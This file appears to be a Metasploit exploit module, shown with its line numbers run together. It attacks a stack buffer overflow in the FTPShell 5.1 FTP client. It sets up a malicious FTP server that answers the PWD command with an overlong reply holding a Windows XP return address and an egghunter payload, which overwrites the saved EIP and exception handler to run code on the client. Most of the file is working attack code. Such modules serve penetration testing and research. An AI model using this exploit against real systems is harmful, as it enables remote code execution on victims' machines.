Path: blob/master/modules/exploits/windows/ftp/ftpshell51_pwd_reply.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Exploit::Remote::FtpServer9include Exploit::Remote::Egghunter1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'FTPShell 5.1 Stack Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets18triggered when the ftp client tries to process an overly long response to a PWD19command. This will overwrite the saved EIP and structured exception handler.20},21'Author' => [22'corelanc0d3r <peter.ve[at]corelan.be>' # found bug, wrote the exploit23],24'License' => MSF_LICENSE,25'References' => [26[ 'OSVDB', '68639'],27[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],28],29'DefaultOptions' => {30'EXITFUNC' => 'thread',31},32'Payload' => {33'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",34},35'Platform' => 'win',36'Targets' => [37[ 'Windows XP Universal', { 'Offset' => 399, 'Ret' => 0x779A5483 } ], # jmp ebp [setupapi.dll]]38],39'Privileged' => false,40'DisclosureDate' => '2010-10-12',41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)49end5051def setup52super53end5455def on_client_unknown_command(c, cmd, arg)56c.put("200 OK\r\n")57end5859def on_client_command_pwd(c, arg)60badchars = ""61eggoptions =62{63:checksum => true,64:eggtag => "w00t"65}66hunter, egg = generate_egghunter(payload.encoded, badchars, eggoptions)6768print_status(" - PWD command -> Sending payload")69junk = "A" * target['Offset']70nops = "A" * 1071tweakhunter = "\x5a\x5a"72eip = [target.ret].pack('V')73buffer = junk + eip + nops + tweakhunter + hunter + egg74pwdoutput = "257 \"/" + buffer + "\" is current directory\r\n"75c.put(pwdoutput)76print_status(" - Sent #{pwdoutput.length} bytes, wait for hunter")77return78end79end808182